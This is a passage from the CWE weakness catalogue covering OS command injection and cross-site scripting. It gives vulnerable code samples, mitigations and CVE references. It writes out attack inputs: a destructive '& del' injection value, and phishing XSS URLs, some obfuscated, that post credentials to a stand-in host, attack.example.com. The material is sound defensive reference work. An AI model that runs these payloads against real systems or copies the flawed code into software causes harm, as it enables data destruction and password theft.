However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

### Example 5:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

#### Java Example:

Bad Code

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
    "&&c:\\ut\\cleanup.bat\"")
```

```
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the `backuptype` parameter read from the user. Typically the `Runtime.exec()` function will not execute multiple commands, but in this case the program first runs the `cmd.exe` shell in order to run multiple commands with a single call to `Runtime.exec()`. Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form `& del c:\dbms\*.*`, then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

### Observed Examples

Reference	Description
CVE-1999-0067	Canonical example. CGI program does not neutralize " " metacharacter when invoking a phonebook program.
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous <code>popen()</code> call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
CVE-2002-0061	Web server allows command execution using " " (pipe) character.
CVE-2002-1898	Shell metacharacters in a <code>telnet://</code> link are not properly handled when the launching application processes the link.
CVE-2003-0041	FTP client does not filter " " from filenames returned by the server, allowing for OS command injection.
CVE-2007-3572	Chain: incomplete blacklist for OS command injection
CVE-2008-2575	Shell metacharacters in a filename in a ZIP archive
CVE-2008-4304	OS command injection through environment variable.
CVE-2008-4796	OS command injection through <code>https://</code> URLs
CVE-2012-1988	Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.

### Potential Mitigations

#### Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

#### Architecture and Design

##### Operation

##### Sandbox or Jail

##### Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix `chroot` jail, `AppArmor`, and `SELinux`. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the `Java SecurityManager` allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid `CWE-243` and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

#### Architecture and Design

##### Identify and Reduce Attack Surface

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.



**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.78.8] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

**Architecture and Design****Parameterization**

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the `system()` function accepts a string that contains the entire command to be executed, whereas `execl()`, `execve()`, and others require an array of strings, one for each argument. In Windows, `CreateProcess()` only accepts one command at a time. In Perl, if `system()` is provided with an array of arguments, then it will quote each of the arguments.



**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

**Architecture and Design****Enforcement by Conversion**

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Operation****Compilation or Build Hardening****Environment Hardening**

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

**Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

**Operation****Sandbox or Jail**

Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

**Operation****Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.






**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.78.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Operation****Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	<b>699</b>	117
CanAlsoBe		88	Argument Injection or Modification	1000	155
ChildOf		634	Weaknesses that Affect System Processes	<b>631</b>	982
ChildOf		714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	<b>629</b>	1112
ChildOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	<b>711</b>	1118

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	1133
ChildOf	C	744	CERT C Secure Coding Section 10 - Environment (ENV)	734	1135
ChildOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1142
ChildOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1228
ChildOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	1245
ChildOf	C	845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	844	1291
ChildOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1308
ChildOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1314
ChildOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1316
ChildOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1358
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
CanFollow	B	184	<i>Incomplete Blacklist</i>	1000	352
MemberOf	V	630	<i>Weaknesses Examined by SAMATE</i>	630	980
MemberOf	V	635	<i>Weaknesses Used by NVD</i>	635	983
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319

### Research Gaps

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

### Affected Resources

- System Process

### Functional Areas

- Program invocation

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			OS Command Injection
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV04-C		Do not call system() if you do not need a command processor
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	31		OS Commanding
CERT Java Secure Coding	IDS07-J		Do not pass untrusted, unsanitized data to the Runtime.exec() method
CERT C++ Secure Coding	STR02-CPP		Sanitize data passed to complex subsystems
CERT C++ Secure Coding	ENV03-CPP		Sanitize the environment when invoking external programs
CERT C++ Secure Coding	ENV04-CPP		Do not call system() if you do not need a command processor
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
6	Argument Injection	
15	Command Delimiters	
43	Exploiting Multiple Input Interpretation Layers	
88	OS Command Injection	
108	Command Line Execution through SQL Injection	

## White Box Definitions

A weakness where the code path has:

1. start statement that accepts input
2. end statement that executes an operating system command where
  - a. the input is used as a part of the operating system command and
  - b. the operating system command is undesirable

Where "undesirable" is defined through the following scenarios:

1. not validated
2. incorrectly validated

## References

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02. Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. < <http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf> >.

Robert Auger. "OS Commanding". 2009-06. < <http://projects.webappsec.org/OS-Commanding> >.

Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. < <http://www.w3.org/Security/Faq/wwwsf4.html> >.

Jordan Dimov, Cigital. "Security Issues in Perl Scripts". < <http://www.cgisecurity.com/lib/sips.html> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.

Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. < <http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/> >.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425.. 1st Edition. Addison Wesley. 2006.

# CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79 (Weakness Base)

Status: Usable

## Description

### Summary

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

### Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

#### Alternate Terms

##### XSS

##### CSS

"CSS" was once used as the acronym for this problem, but this could cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

##### Architectural Paradigms

- Web-based (*Often*)

##### Technology Classes

- Web-Server (*Often*)

##### Platform Notes

#### Common Consequences



**Access Control****Confidentiality****Bypass protection mechanism****Read application data**

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

**Integrity****Confidentiality****Availability****Execute unauthorized code or commands**

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.

**Confidentiality****Integrity****Availability****Access Control****Execute unauthorized code or commands****Bypass protection mechanism****Read application data**

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

**Likelihood of Exploit**

High to Very High

**Enabling Factors for Exploitation**

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users, commonly on places such as bulletin-board web sites which provide web based mailing list-style functionality. Stored XSS got its start with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code. As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response.

**Detection Methods****Automated Static Analysis****Moderate**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

**Black Box****Moderate**

Use the XSS Cheat Sheet [R.79.6] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

**Demonstrative Examples****Example 1:**

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

**PHP Example:***Bad Code*

```
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>;'
```

Because the parameter can be arbitrary, the url of the page could be modified so \$username contains scripting syntax, such as

*Attack*

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending his password to the attacker:

*Attack*

```
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

*Result*

```
<div class="header"> Welcome,
<div id="stealPassword">Please Login:
<form name="input" action="attack.example.com/stealPassword.php" method="post">
  Username: <input type="text" name="username" />
  <br/>
  Password: <input type="password" name="password" />
  <input type="submit" value="Login" />
</form>
</div>
</div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

*Attack*

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
```



```
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
```

The same attack string could also be obfuscated as:

Attack

```
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u0062\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0073\u0074\u0022\u006F\u006F\u0072\u0064\u0022\u0020\u006F\u006E
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>
```

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

### Example 2:

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

#### JSP Example:

Bad Code

```
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
```

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

#### ASP.NET Example:

Bad Code

```
...
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
... (HTML follows) ...
<p><asp:label id="EmployeeID" runat="server" /></p>
...
```

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

### Example 3:

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

**JSP Example:***Bad Code*

```
<%
...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
    rs.next();
    String name = rs.getString("name");
    %>
Employee Name: <%= name %>
```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

**ASP.NET Example:***Bad Code*

```
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

**Example 4:**

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

**PHP Example:***Bad Code*

```
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s"), $username, crypt($password),
$fullName) ;
mysql_query($query);
.../
```

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

*Bad Code*

```
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);
if (!$results) {
    exit;
}
//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
    echo '<div class="userNames">'.$row['fullName'].'</div>';
}
echo '</div>';
```

The attacker can set his name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

### Observed Examples

Reference	Description
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
CVE-2006-3295	Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS.
CVE-2006-3568	Stored XSS in a guestbook application.
CVE-2006-4308	Chain: only checks "javascript:" tag
CVE-2007-5727	Chain: only removes SCRIPT tags, enabling XSS
CVE-2008-0971	Stored XSS in a security product.
CVE-2008-4730	Reflected XSS not properly handled when generating an error message
CVE-2008-5080	Chain: protection mechanism failure allows XSS
CVE-2008-5249	Stored XSS using a wiki page.
CVE-2008-5734	Reflected XSS sent through email message.
CVE-2008-5770	Reflected XSS using the PATH_INFO in a URL

### Potential Mitigations

#### Architecture and Design

##### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

##### Implementation

#### Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [R.79.16] for more details on the types of encoding and escaping that are needed.

#### Architecture and Design

##### Implementation

#### Identify and Reduce Attack Surface

##### Limited

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Architecture and Design****Parameterization**

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used.

This can open up the browser to subtle XSS attacks.

**Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Implementation****Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

## Implementation

### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

